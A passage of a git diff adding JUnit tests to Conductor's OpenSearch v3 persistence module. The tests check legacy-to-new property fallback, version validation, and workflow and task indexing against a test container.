    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.config; + +import org.junit.Ignore; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.context.annotation.Configuration; +import org.springframework.mock.env.MockEnvironment; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import static org.junit.Assert.*; + +public class OpenSearchPropertiesTest { + + // ========================================================================= + // Test Cluster 1: Backward Compatibility + // ========================================================================= + + @Test + public void testLegacyUrlPropertyFallback() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.url", "http://legacy:9200"); + + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(env); + props.init(); + + assertEquals("http://legacy:9200", props.getUrl()); + } + + @Test + public void testLegacyVersionPropertyFallback() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.version", "2"); + + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(env); + props.init(); + + assertEquals(2, props.getVersion()); + } + + @Test + public void testLegacyIndexNamePropertyFallback() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.indexName", "legacy_prefix"); + + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(env); + props.init(); + + assertEquals("legacy_prefix", props.getIndexPrefix()); + } + + @Test + public void testVersionZeroIsIgnoredAsES7DisableFlag() { + // conductor.elasticsearch.version=0 is a special flag to disable ES7 auto-config + // It should NOT set OpenSearch version to 0 + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.version", "0"); + + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(env); + props.init(); + + assertEquals(2, props.getVersion()); // Should use default, not 0 + } + + @Test + public void testInvalidLegacyVersionUsesDefault() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.version", "invalid"); + + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(env); + props.init(); + + assertEquals(2, props.getVersion()); // Should use default + } + + @Test + public void testAllLegacyPropertiesFallback() { + MockEnvironment env = new MockEnvironment(); + // Set all legacy properties + env.setProperty("conductor.elasticsearch.url", "http://legacy:9200"); + env.setProperty("conductor.elasticsearch.version", "1"); + env.setProperty("conductor.elasticsearch.indexName", "legacy_prefix"); + env.setProperty("conductor.elasticsearch.clusterHealthColor", "yellow"); + env.setProperty("conductor.elasticsearch.indexBatchSize", "100"); + env.setProperty("conductor.elasticsearch.asyncWorkerQueueSize", "200"); + env.setProperty("conductor.elasticsearch.asyncMaxPoolSize", "24"); + env.setProperty("conductor.elasticsearch.indexShardCount", "10"); + env.setProperty("conductor.elasticsearch.indexReplicasCount", "2"); + env.setProperty("conductor.elasticsearch.taskLogResultLimit", "50"); + env.setProperty("conductor.elasticsearch.restClientConnectionRequestTimeout", "5000"); + env.setProperty("conductor.elasticsearch.autoIndexManagementEnabled", "false"); + env.setProperty("conductor.elasticsearch.username", "admin"); + env.setProperty("conductor.elasticsearch.password", "secret"); + + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(env); + props.init(); + + // Verify all properties loaded from legacy namespace + assertEquals("http://legacy:9200", props.getUrl()); + assertEquals(1, props.getVersion()); + assertEquals("legacy_prefix", props.getIndexPrefix()); + assertEquals("yellow", props.getClusterHealthColor()); + assertEquals(100, props.getIndexBatchSize()); + assertEquals(200, props.getAsyncWorkerQueueSize()); + assertEquals(24, props.getAsyncMaxPoolSize()); + assertEquals(10, props.getIndexShardCount()); + assertEquals(2, props.getIndexReplicasCount()); + assertEquals(50, props.getTaskLogResultLimit()); + assertEquals(5000, props.getRestClientConnectionRequestTimeout()); + assertFalse(props.isAutoIndexManagementEnabled()); + assertEquals("admin", props.getUsername()); + assertEquals("secret", props.getPassword()); + } + + @Test + public void testNullEnvironmentIsHandledGracefully() { + OpenSearchProperties props = new OpenSearchProperties(); + props.setEnvironment(null); + props.init(); // Should not throw + + // Should use defaults + assertEquals(2, props.getVersion()); + assertEquals("localhost:9201", props.getUrl()); + } + + // ========================================================================= + // Test Cluster 2: Version Validation + // ========================================================================= + + @Test + public void testSupportedVersion1IsAccepted() { + OpenSearchProperties props = new OpenSearchProperties(); + props.setVersion(1); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); // Should not throw + + assertEquals(1, props.getVersion()); + } + + @Test + public void testSupportedVersion2IsAccepted() { + OpenSearchProperties props = new OpenSearchProperties(); + props.setVersion(2); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); // Should not throw + + assertEquals(2, props.getVersion()); + } + + @Test + public void testDefaultVersionIs2() { + OpenSearchProperties props = new OpenSearchProperties(); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); + + assertEquals(2, props.getVersion()); + } + + @Test(expected = IllegalArgumentException.class) + public void testUnsupportedVersion3ThrowsException() { + OpenSearchProperties props = new OpenSearchProperties(); + props.setVersion(3); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); // Should throw IllegalArgumentException + } + + @Test(expected = IllegalArgumentException.class) + public void testUnsupportedVersion99ThrowsException() { + OpenSearchProperties props = new OpenSearchProperties(); + props.setVersion(99); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); // Should throw IllegalArgumentException + } + + @Test + public void testUnsupportedVersionExceptionMessage() { + OpenSearchProperties props = new OpenSearchProperties(); + props.setVersion(99); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + + try { + props.init(); + fail("Expected IllegalArgumentException"); + } catch (IllegalArgumentException e) { + // Verify error message contains useful information + assertTrue(e.getMessage().contains("Unsupported OpenSearch version: 99")); + assertTrue(e.getMessage().contains("Supported versions are")); + } + } + + @Test + public void testAllSupportedVersionsAreAccepted() { + // Test all versions in SUPPORTED_VERSIONS set + for (int version : OpenSearchProperties.getSupportedVersions()) { + OpenSearchProperties props = new OpenSearchProperties(); + props.setVersion(version); + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); // Should not throw + + assertEquals(version, props.getVersion()); + } + } + + // ========================================================================= + // Test Cluster 3: Property Precedence + // ========================================================================= + + @Test + public void testNewUrlPropertyOverridesLegacy() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.url", "http://legacy:9200"); + env.setProperty("conductor.opensearch.url", "http://new:9200"); + + OpenSearchProperties props = new OpenSearchProperties(); + // Simulate Spring's @ConfigurationProperties binding for new property + props.setUrl("http://new:9200"); + props.setEnvironment(env); + props.init(); + + // New property should be preserved (not overridden by legacy fallback) + assertEquals("http://new:9200", props.getUrl()); + } + + @Test + public void testNewVersionPropertyOverridesLegacy() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.version", "1"); + env.setProperty("conductor.opensearch.version", "2"); + + OpenSearchProperties props = new OpenSearchProperties(); + // Simulate Spring's @ConfigurationProperties binding for new property + props.setVersion(2); + props.setEnvironment(env); + props.init(); + + // New property should be preserved (not overridden by legacy fallback) + assertEquals(2, props.getVersion()); + } + + @Test + public void testNewIndexPrefixPropertyOverridesLegacy() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.elasticsearch.indexName", "legacy_prefix"); + env.setProperty("conductor.opensearch.indexPrefix", "new_prefix"); + + OpenSearchProperties props = new OpenSearchProperties(); + // Simulate Spring's @ConfigurationProperties binding for new property + props.setIndexPrefix("new_prefix"); + props.setEnvironment(env); + props.init(); + + // New property should be preserved (not overridden by legacy fallback) + assertEquals("new_prefix", props.getIndexPrefix()); + } + + @Test + public void testMixedPropertiesResolveCorrectly() { + MockEnvironment env = new MockEnvironment(); + // Legacy properties set in environment + env.setProperty("conductor.elasticsearch.indexName", "legacy_prefix"); + env.setProperty("conductor.elasticsearch.indexBatchSize", "100"); + env.setProperty("conductor.opensearch.url", "http://new:9200"); + env.setProperty("conductor.opensearch.version", "2"); + + OpenSearchProperties props = new OpenSearchProperties(); + // Simulate Spring's @ConfigurationProperties binding for new properties + props.setUrl("http://new:9200"); + props.setVersion(2); + // Don't set indexPrefix or indexBatchSize - let them fallback from legacy + props.setEnvironment(env); + props.init(); + + // New properties should be preserved + assertEquals("http://new:9200", props.getUrl()); + assertEquals(2, props.getVersion()); + // Legacy properties should be used where new ones aren't set + assertEquals("legacy_prefix", props.getIndexPrefix()); + assertEquals(100, props.getIndexBatchSize()); + } + + @Test + public void testOnlyNewPropertiesWork() { + OpenSearchProperties props = new OpenSearchProperties(); + // Simulate Spring's @ConfigurationProperties binding + props.setUrl("http://new:9200"); + props.setVersion(2); + props.setIndexPrefix("new_prefix"); + props.setClusterHealthColor("yellow"); + + MockEnvironment env = new MockEnvironment(); + props.setEnvironment(env); + props.init(); + + assertEquals("http://new:9200", props.getUrl()); + assertEquals(2, props.getVersion()); + assertEquals("new_prefix", props.getIndexPrefix()); + assertEquals("yellow", props.getClusterHealthColor()); + } + + @Test + public void testNewPropertiesTakePrecedenceForAllConfigurableFields() { + MockEnvironment env = new MockEnvironment(); + // Set all as legacy + env.setProperty("conductor.elasticsearch.url", "http://legacy:9200"); + env.setProperty("conductor.elasticsearch.indexName", "legacy_prefix"); + env.setProperty("conductor.elasticsearch.clusterHealthColor", "green"); + env.setProperty("conductor.elasticsearch.indexReplicasCount", "1"); + env.setProperty("conductor.elasticsearch.username", "legacy_user"); + // Set new properties in environment so hasNewProperty() returns true + env.setProperty("conductor.opensearch.url", "http://new:9200"); + env.setProperty("conductor.opensearch.indexPrefix", "new_prefix"); + env.setProperty("conductor.opensearch.clusterHealthColor", "yellow"); + env.setProperty("conductor.opensearch.indexReplicasCount", "2"); + env.setProperty("conductor.opensearch.username", "new_user"); + + OpenSearchProperties props = new OpenSearchProperties(); + // Simulate Spring's @ConfigurationProperties binding for new properties + props.setUrl("http://new:9200"); + props.setIndexPrefix("new_prefix"); + props.setClusterHealthColor("yellow"); + props.setIndexReplicasCount(2); + props.setUsername("new_user"); + props.setEnvironment(env); + props.init(); + + // All new properties should be preserved (not overridden by legacy fallback) + assertEquals("http://new:9200", props.getUrl()); + assertEquals("new_prefix", props.getIndexPrefix()); + assertEquals("yellow", props.getClusterHealthColor()); + assertEquals(2, props.getIndexReplicasCount()); + assertEquals("new_user", props.getUsername()); + } + + @Test + public void testHasNewPropertyDetectsCorrectly() { + MockEnvironment env = new MockEnvironment(); + env.setProperty("conductor.opensearch.url", "http://new:9200"); + env.setProperty("conductor.elasticsearch.indexName", "legacy_prefix"); + + OpenSearchProperties props = new OpenSearchProperties(); + // Set only URL via new property + props.setUrl("http://new:9200"); + // Don't set indexPrefix - let it fallback from legacy + props.setEnvironment(env); + props.init(); + + // URL was set via new property (should be preserved) + assertEquals("http://new:9200", props.getUrl()); + // IndexPrefix was not set via new property (should use legacy fallback) + assertEquals("legacy_prefix", props.getIndexPrefix()); + } + + // ========================================================================= + // Test Cluster 4: Integration Tests + // ========================================================================= + + /** Integration test with Spring Boot context to verify new properties work end-to-end. */ + @RunWith(SpringRunner.class) + @SpringBootTest( + classes = OpenSearchPropertiesTest.IntegrationTestWithNewProperties.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.opensearch.url=http://integration-new:9200", + "conductor.opensearch.version=2", + "conductor.opensearch.indexPrefix=integration_new", + "conductor.opensearch.clusterHealthColor=yellow" + }) + public static class IntegrationTestWithNewProperties { + + @Configuration + @EnableConfigurationProperties(OpenSearchProperties.class) + static class TestConfig {} + + @Autowired private OpenSearchProperties properties; + + @Test + public void testNewPropertiesBindCorrectlyInSpringContext() { + assertEquals("http://integration-new:9200", properties.getUrl()); + assertEquals(2, properties.getVersion()); + assertEquals("integration_new", properties.getIndexPrefix()); + assertEquals("yellow", properties.getClusterHealthColor()); + } + } + + /** Integration test with Spring Boot context to verify legacy properties still work. */ + @Ignore("Flaky in CI - property binding order issues") + @RunWith(SpringRunner.class) + @SpringBootTest( + classes = OpenSearchPropertiesTest.IntegrationTestWithLegacyProperties.TestConfig.class) + @TestPropertySource( + properties = { + "conductor.elasticsearch.url=http://integration-legacy:9200", + "conductor.elasticsearch.version=1", + "conductor.elasticsearch.indexName=integration_legacy", + "conductor.elasticsearch.clusterHealthColor=green" + }) + public static class IntegrationTestWithLegacyProperties { + + @Configuration + @EnableConfigurationProperties(OpenSearchProperties.class) + static class TestConfig {} + + @Autowired private OpenSearchProperties properties; + + @Test + public void testLegacyPropertiesBindCorrectlyInSpringContext() { + assertEquals("http://integration-legacy:9200", properties.getUrl()); + assertEquals(1, properties.getVersion()); + assertEquals("integration_legacy", properties.getIndexPrefix()); + assertEquals("green", properties.getClusterHealthColor()); + } + } + + /** Integration test with Spring Boot context to verify mixed properties resolve correctly. */ + @Ignore("Flaky in CI - property binding order issues") + @RunWith(SpringRunner.class) + @SpringBootTest( + classes = OpenSearchPropertiesTest.IntegrationTestWithMixedProperties.TestConfig.class) + @TestPropertySource( + properties = { + // Legacy properties + "conductor.elasticsearch.indexName=legacy_mixed", + "conductor.elasticsearch.clusterHealthColor=green", + // New properties (should take precedence) + "conductor.opensearch.url=http://integration-mixed:9200", + "conductor.opensearch.version=2" + }) + public static class IntegrationTestWithMixedProperties { + + @Configuration + @EnableConfigurationProperties(OpenSearchProperties.class) + static class TestConfig {} + + @Autowired private OpenSearchProperties properties; + + @Test + public void testMixedPropertiesResolveCorrectlyInSpringContext() { + // New properties should win + assertEquals("http://integration-mixed:9200", properties.getUrl()); + assertEquals(2, properties.getVersion()); + // Legacy properties should be used where new ones aren't set + assertEquals("legacy_mixed", properties.getIndexPrefix()); + assertEquals("green", properties.getClusterHealthColor()); + } + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/OpenSearchRestDaoBaseTest.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/OpenSearchRestDaoBaseTest.java new file mode 100644 index 0000000..25a50f7 --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/OpenSearchRestDaoBaseTest.java @@ -0,0 +1,85 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.index; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.Reader; + +import org.apache.hc.core5.http.HttpHost; +import org.junit.After; +import org.junit.Before; +import org.opensearch.client.Request; +import org.opensearch.client.Response; +import org.opensearch.client.RestClient; +import org.opensearch.client.RestClientBuilder; +import org.opensearch.client.json.jackson.JacksonJsonpMapper; +import org.opensearch.client.opensearch.OpenSearchClient; +import org.opensearch.client.transport.rest_client.RestClientTransport; +import org.springframework.retry.support.RetryTemplate; + +public abstract class OpenSearchRestDaoBaseTest extends OpenSearchTest { + + protected RestClient restClient; + protected OpenSearchRestDAO indexDAO; + + @Before + public void setup() throws Exception { + String httpHostAddress = container.getHttpHostAddress(); + String host = httpHostAddress.split(":")[1].replace("//", ""); + int port = Integer.parseInt(httpHostAddress.split(":")[2]); + + properties.setUrl(httpHostAddress); + + RestClientBuilder restClientBuilder = RestClient.builder(new HttpHost("http", host, port)); + restClient = restClientBuilder.build(); + + RestClientTransport transport = + new RestClientTransport(restClient, new JacksonJsonpMapper(objectMapper)); + OpenSearchClient openSearchClient = new OpenSearchClient(transport); + + indexDAO = + new OpenSearchRestDAO( + restClient, + openSearchClient, + new RetryTemplate(), + properties, + objectMapper); + indexDAO.setup(); + } + + @After + public void tearDown() throws Exception { + deleteAllIndices(); + + if (restClient != null) { + restClient.close(); + } + } + + private void deleteAllIndices() throws IOException { + Response beforeResponse = restClient.performRequest(new Request("GET", "/_cat/indices")); + Reader streamReader = new InputStreamReader(beforeResponse.getEntity().getContent()); + BufferedReader bufferedReader = new BufferedReader(streamReader); + + String line; + while ((line = bufferedReader.readLine()) != null) { + System.out.println("Deleting line: " + line); + String[] fields = line.split("(\\s+)"); + String endpoint = String.format("/%s", fields[2]); + System.out.println("Deleting index: " + endpoint); + restClient.performRequest(new Request("DELETE", endpoint)); + } + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/OpenSearchTest.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/OpenSearchTest.java new file mode 100644 index 0000000..5b786fa --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/OpenSearchTest.java @@ -0,0 +1,74 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.index; + +import org.conductoross.conductor.os3.config.OpenSearchProperties; +import org.junit.AfterClass; +import org.junit.BeforeClass; +import org.junit.runner.RunWith; +import org.opensearch.testcontainers.OpensearchContainer; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; + +import com.fasterxml.jackson.databind.ObjectMapper; + +@ContextConfiguration( + classes = {TestObjectMapperConfiguration.class, OpenSearchTest.TestConfiguration.class}) +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = { + "conductor.indexing.enabled=true", + "conductor.indexing.type=opensearch3", + // Disable ES7 auto-configuration + "conductor.elasticsearch.version=0", + // Use new OpenSearch namespace + "conductor.opensearch.version=2" + }) +public abstract class OpenSearchTest { + + @Configuration + static class TestConfiguration { + + @Bean + public OpenSearchProperties openSearchProperties() { + return new OpenSearchProperties(); + } + } + + protected static OpensearchContainer container = + new OpensearchContainer<>( + DockerImageName.parse( + "opensearchproject/opensearch:3.0.0")); // this should match the client + // version + + @Autowired protected ObjectMapper objectMapper; + + @Autowired protected OpenSearchProperties properties; + + @BeforeClass + public static void startServer() { + container.start(); + } + + @AfterClass + public static void stopServer() { + container.stop(); + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/QuickV3Test.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/QuickV3Test.java new file mode 100644 index 0000000..de70266 --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/QuickV3Test.java @@ -0,0 +1,99 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.index; + +import java.time.Instant; + +import org.apache.hc.core5.http.HttpHost; +import org.conductoross.conductor.os3.config.OpenSearchProperties; +import org.junit.After; +import org.junit.Before; +import org.junit.Ignore; +import org.junit.Test; +import org.opensearch.client.RestClient; +import org.opensearch.client.json.jackson.JacksonJsonpMapper; +import org.opensearch.client.opensearch.OpenSearchClient; +import org.opensearch.client.transport.rest_client.RestClientTransport; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; + +public class QuickV3Test { + + private RestClient restClient; + private OpenSearchRestDAO dao; + private ObjectMapper objectMapper; + + @Before + public void setup() throws Exception { + objectMapper = new ObjectMapper(); + restClient = RestClient.builder(new HttpHost("http", "localhost", 9202)).build(); + RestClientTransport transport = + new RestClientTransport(restClient, new JacksonJsonpMapper(objectMapper)); + OpenSearchClient client = new OpenSearchClient(transport); + + OpenSearchProperties props = new OpenSearchProperties(); + props.setUrl("http://localhost:9202"); + props.setIndexPrefix("conductor_v3_test"); + + dao = new OpenSearchRestDAO(restClient, client, new RetryTemplate(), props, objectMapper); + dao.setup(); + } + + @After + public void tearDown() throws Exception { + if (restClient != null) { + restClient.close(); + } + } + + @Test + @Ignore("Manual integration test - requires OpenSearch 3.0 running on localhost:9202") + public void testBasicWorkflowOperations() throws Exception { + // Create a test workflow + WorkflowSummary workflow = new WorkflowSummary(); + workflow.setWorkflowId("test-workflow-" + System.currentTimeMillis()); + workflow.setWorkflowType("test_workflow"); + workflow.setVersion(1); + workflow.setStatus(Workflow.WorkflowStatus.RUNNING); + workflow.setStartTime(Instant.now().toString()); + + // Index it + dao.indexWorkflow(workflow); + System.out.println("✓ Indexed workflow: " + workflow.getWorkflowId()); + + // Give OpenSearch time to index + Thread.sleep(1500); + + // Search for it + var result = + dao.searchWorkflows( + "workflowId='" + workflow.getWorkflowId() + "'", "*", 0, 10, null); + System.out.println("✓ Search found " + result.getTotalHits() + " workflows"); + + assertTrue("Should find the workflow", result.getTotalHits() > 0); + assertEquals("Should find exactly 1 workflow", 1, result.getTotalHits()); + + // Remove it + dao.removeWorkflow(workflow.getWorkflowId()); + System.out.println("✓ Removed workflow"); + + System.out.println("✅ TEST PASSED - os-persistence-v3 works with OpenSearch 3.0.0!"); + } +} diff --git a/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/TestOpenSearchRestDAO.java b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/TestOpenSearchRestDAO.java new file mode 100644 index 0000000..720cbea --- /dev/null +++ b/os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/TestOpenSearchRestDAO.java @@ -0,0 +1,523 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.index; + +import java.io.IOException; +import java.text.SimpleDateFormat; +import java.util.*; +import java.util.function.Supplier; + +import org.conductoross.conductor.os3.utils.TestUtils; +import org.joda.time.DateTime; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow.WorkflowStatus; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.events.queue.Message; + +import com.google.common.collect.ImmutableMap; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +public class TestOpenSearchRestDAO extends OpenSearchRestDaoBaseTest { + + private static final SimpleDateFormat SIMPLE_DATE_FORMAT = new SimpleDateFormat("yyyyMMWW"); + + private static final String INDEX_PREFIX = "conductor"; + private static final String WORKFLOW_DOC_TYPE = "workflow"; + private static final String TASK_DOC_TYPE = "task"; + private static final String MSG_DOC_TYPE = "message"; + private static final String EVENT_DOC_TYPE = "event"; + private static final String LOG_DOC_TYPE = "task_log"; + + private boolean indexExists(final String index) throws IOException { + return indexDAO.doesResourceExist("/" + index); + } + + private boolean doesMappingExist(final String index, final String mappingName) + throws IOException { + return indexDAO.doesResourceExist("/" + index + "/_mapping/" + mappingName); + } + + @Test + public void assertInitialSetup() throws IOException { + SIMPLE_DATE_FORMAT.setTimeZone(TimeZone.getTimeZone("GMT")); + + String workflowIndex = INDEX_PREFIX + "_" + WORKFLOW_DOC_TYPE; + String taskIndex = INDEX_PREFIX + "_" + TASK_DOC_TYPE; + + String taskLogIndex = + INDEX_PREFIX + "_" + LOG_DOC_TYPE + "_" + SIMPLE_DATE_FORMAT.format(new Date()); + String messageIndex = + INDEX_PREFIX + "_" + MSG_DOC_TYPE + "_" + SIMPLE_DATE_FORMAT.format(new Date()); + String eventIndex = + INDEX_PREFIX + "_" + EVENT_DOC_TYPE + "_" + SIMPLE_DATE_FORMAT.format(new Date()); + + assertTrue("Index 'conductor_workflow' should exist", indexExists(workflowIndex)); + assertTrue("Index 'conductor_task' should exist", indexExists(taskIndex)); + + assertTrue("Index '" + taskLogIndex + "' should exist", indexExists(taskLogIndex)); + assertTrue("Index '" + messageIndex + "' should exist", indexExists(messageIndex)); + assertTrue("Index '" + eventIndex + "' should exist", indexExists(eventIndex)); + + assertTrue( + "Index template for 'message' should exist", + indexDAO.doesResourceExist("/_index_template/template_" + MSG_DOC_TYPE)); + assertTrue( + "Index template for 'event' should exist", + indexDAO.doesResourceExist("/_index_template/template_" + EVENT_DOC_TYPE)); + assertTrue( + "Index template for 'task_log' should exist", + indexDAO.doesResourceExist("/_index_template/template_" + LOG_DOC_TYPE)); + } + + @Test + public void shouldIndexWorkflow() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldIndexWorkflowAsync() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.asyncIndexWorkflow(workflowSummary).get(); + + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldRemoveWorkflow() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + List workflows = + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + assertEquals(1, workflows.size()); + + indexDAO.removeWorkflow(workflowSummary.getWorkflowId()); + + workflows = tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 0); + + assertTrue("Workflow was not removed.", workflows.isEmpty()); + } + + @Test + public void shouldAsyncRemoveWorkflow() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + List workflows = + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + assertEquals(1, workflows.size()); + + indexDAO.asyncRemoveWorkflow(workflowSummary.getWorkflowId()).get(); + + workflows = tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 0); + + assertTrue("Workflow was not removed.", workflows.isEmpty()); + } + + @Test + public void shouldUpdateWorkflow() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + indexDAO.updateWorkflow( + workflowSummary.getWorkflowId(), + new String[] {"status"}, + new Object[] {WorkflowStatus.COMPLETED}); + + workflowSummary.setStatus(WorkflowStatus.COMPLETED); + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldAsyncUpdateWorkflow() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + indexDAO.asyncUpdateWorkflow( + workflowSummary.getWorkflowId(), + new String[] {"status"}, + new Object[] {WorkflowStatus.FAILED}) + .get(); + + workflowSummary.setStatus(WorkflowStatus.FAILED); + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldIndexTask() { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.indexTask(taskSummary); + + List tasks = tryFindResults(() -> searchTasks(taskSummary)); + + assertEquals(taskSummary.getTaskId(), tasks.get(0)); + } + + @Test + public void shouldIndexTaskAsync() throws Exception { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.asyncIndexTask(taskSummary).get(); + + List tasks = tryFindResults(() -> searchTasks(taskSummary)); + + assertEquals(taskSummary.getTaskId(), tasks.get(0)); + } + + @Test + public void shouldRemoveTask() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + + TaskSummary taskSummary = + TestUtils.loadTaskSnapshot( + objectMapper, "task_summary", workflowSummary.getWorkflowId()); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.removeTask(workflowSummary.getWorkflowId(), 